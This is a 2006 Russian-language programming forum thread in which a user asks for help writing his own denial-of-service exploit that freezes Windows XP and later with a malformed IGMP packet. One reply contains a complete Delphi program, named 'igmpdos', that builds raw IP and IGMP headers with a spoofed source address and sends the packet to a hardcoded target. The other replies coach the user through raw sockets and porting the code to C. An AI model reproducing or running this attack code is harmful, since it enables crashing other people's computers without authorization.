Пакеты IGMP

Тема в разделе "WASM.NETWORKS", создана пользователем SiruS, 1 окт 2006.

  1. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    В этой http://www.wasm.ru/forum/viewtopic.php?id=14588 теме SnugForce писал, что систему WinXP+ можно завесить с помощью "пакета IGMP с полем длины = 0". Я нашел сплоит, но хотелось бы реализовать его самому, собственно мне нужна помощь.

    Выложу сплоит, может поможет...

    Не получается сплоит выложить :dntknw:
     
  2. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    В чём у тебя проблема, собственно я посылал IGMP пакеты.
     
  3. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    n0name

    Дело в том, что я незнаю ни функций, ни порядкав котором их надо использовать, для реализации этой задачи :dntknw: Вот и прошу помощи.
     
  4. SnugForce

    SnugForce New Member

    Публикаций:
    0
    Регистрация:
    2 май 2005
    Сообщения:
    373
    Адрес:
    Из домУ
    Отсылка идет через RAW-сокеты. Формируешь пакет и устанавливаешь (по крайней мере как написанно) длину пакета в нуль. Примеры RAW-UDP есть на delphiworld.narod.ru
     
  5. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    SiruS
    Функции все из winsock'a, connect, sendto, closesocket,...
     
  6. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    Это все хорошо, а в каком порядке их заюзать? Выпишите мне пожалуйста порядок, а с функциями я попробую сам разобраться (до этого я не имел дела с сетевыми приложениями)
     
  7. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    WSAStartup();
    socket();
    connect();
    sendto();
    closesocket();

    Правда как тебе правильно сказали сначала надо сформировать пакет.
     
  8. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    n0name

    Спасибо, это уже несколько проясняет ситуацию, теперь остается вопрос как формировать пакет и получить доступ к RAW-сокетам
     
  9. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    n0name
    есть исходники по формированию самого пакета на фасме кинь пож та
    если приложение без окна как у тебя идёт синхронизация
     
  10. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    нету.
    в отдельном потоке через события(WSAEventSelect), когда данные приходят вызываю callback функцию.
     
  11. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    n0name

    Ты ведь формировал пакеты, поделись как...
     
  12. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    SiruS
    не на фасме
    в принципе ничего сложного нету.
     
  13. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    n0name

    Пускай будет не на фасме, большая разница?
     
  14. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Код (Text):
    1. program igmpdos;
    2.  
    3. uses
    4.  Windows,
    5.  WinSock2;
    6.  
    7. type
    8.  TIPHeader = packed record
    9.   VerLen: Byte;
    10.   ToS: Byte;
    11.   TotalLen: WORD;
    12.   UID: WORD;
    13.   Flags: WORD;
    14.   TTL: Byte;
    15.   Protocol: Byte;
    16.   ChkSum: WORD;
    17.   SourceIP: DWORD;
    18.   DestIP: DWORD;
    19.   Options: array [0..1] of WORD;
    20.  end;
    21.  
    22.  TIGMPHeader = packed record
    23.   pType: Byte;
    24.   Code: Byte;
    25.   ChkSum: WORD;
    26.   Group: DWORD;
    27.   Resv: Byte;
    28.   QQIC: Byte;
    29.   Num: WORD;
    30.   addes: DWORD;
    31.  end;
    32.  
    33.  TWordAr = array [0..0] of WORD;
    34.  PWordAr = ^TWordAr;
    35.  
    36. function ChkSum(pData: PWordAr; Size: DWORD): WORD;
    37. var
    38.  res: DWORD;
    39.  i: Integer;
    40. begin
    41.  res := 0;
    42.  i := 0;
    43.  while (size > 1) do
    44.   begin
    45.    res := res + pData[i];
    46.    size := size - 2;
    47.    inc(i);
    48.   end;
    49.  if (size = 1) then res := res + pData[i];
    50.  res := (res shr 16) + (res and $FFFF);
    51.  res := res + (res shr 16);
    52.  result := WORD(not res);
    53. end;
    54.  
    55. procedure SendFuckIGMP(DestIP, SorceIP: DWORD);
    56. var
    57.  WSAData: TWSAData;
    58.  Sock: TSocket;
    59.  SockIn: TSockAddrIn;
    60.  flag: DWORD;
    61.  IpHdr: TIPHeader;
    62.  IgmpHdr: TIGMPHeader;
    63.  Buffer: Pointer;
    64. begin
    65.  WSAStartup($202, WSAData);
    66.  Sock := WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, 1);
    67.  flag := 1;
    68.  setsockopt(Sock, IPPROTO_IP, IP_HDRINCL, @flag, 4);
    69.  ZeroMemory(@SockIn, sizeof(SockIn));
    70.  SockIn.sin_family := AF_INET;
    71.  SockIn.sin_port := htons(99);
    72.  SockIn.sin_addr.S_addr := DestIP;
    73.  ZeroMemory(@IpHdr, sizeof(IpHdr));
    74.  with IpHdr do
    75.   begin
    76.    VerLen := 64 + sizeof(IpHdr) div 4;
    77.    TotalLen := htons(sizeof(IpHdr) + sizeof(IgmpHdr));
    78.    TTL := 128;
    79.    Protocol := IPPROTO_IGMP;
    80.    SourceIP := SourceIP;
    81.    DestIP := DestIP;
    82.  end;
    83.  ZeroMemory(@IgmpHdr, sizeof(IgmpHdr));
    84.  with IgmpHdr do
    85.   begin
    86.    pType := 17;
    87.    Code := 5;
    88.    Num := htons(1);
    89.    addes := DestIP;
    90.   end;
    91.  flag := sizeof(IpHdr) + sizeof(IgmpHdr) + 4;
    92.  Buffer := GetMemory(flag);
    93.  ZeroMemory(Buffer, flag);
    94.  CopyMemory(Buffer, @IgmpHdr, sizeof(IgmpHdr));
    95.  IgmpHdr.ChkSum := ChkSum(Buffer, sizeof(IgmpHdr));
    96.  CopyMemory(Buffer, @IpHdr, sizeof(IpHdr));
    97.  CopyMemory(Pointer(DWORD(Buffer) + sizeof(IpHdr)), @IgmpHdr, sizeof(IgmpHdr));
    98.  IpHdr.ChkSum := htons(ChkSum(Buffer, sizeof(IpHdr) + sizeof(IgmpHdr)));
    99.  CopyMemory(Buffer, @IpHdr, sizeof(IpHdr));
    100.  sendto(sock, Buffer^, sizeof(IpHdr) + sizeof(IgmpHdr), 0, SockIn, sizeof(SockIn));
    101.  FreeMemory(Buffer);
    102.  closesocket(Sock);
    103.  WSACleanup;
    104. end;
    105.  
    106. begin
    107.  SendFuckIGMP(inet_addr('192.168.9.160'), inet_addr('10.0.3.1'));
    108. end.
     
  15. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    Спасибо, я нашел еще и под Си. Счас буду сидеть и разбираться. Кому надо, вот что я нашел:
     
  16. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    n0name на ДЕлфях кодишь а на сях могёшь
     
  17. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    Cyber_Mozg

    Мда, толи люди бестолковые пошли, толи слепые...

    n0name

    Думал легко перевести будет, но не тут то было :dntknw:
     
  18. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    Cyber_Mozg
    угу.
    SiruS
    хм, а ты спрашивал большая ли разница.
     
  19. Nata

    Nata New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    41
    При компиляции создай асм файл и потом от него уже и отталкивайся!Или прогони через
    IDA
     
  20. Cyber_Mozg

    Cyber_Mozg Andrey

    Публикаций:
    0
    Регистрация:
    4 апр 2005
    Сообщения:
    214
    Адрес:
    Russia
    SiruS в настройках вижуала включи генерацию asm листинга и всё подправишь и всё в ожуре как тебе подсказал(а) Nata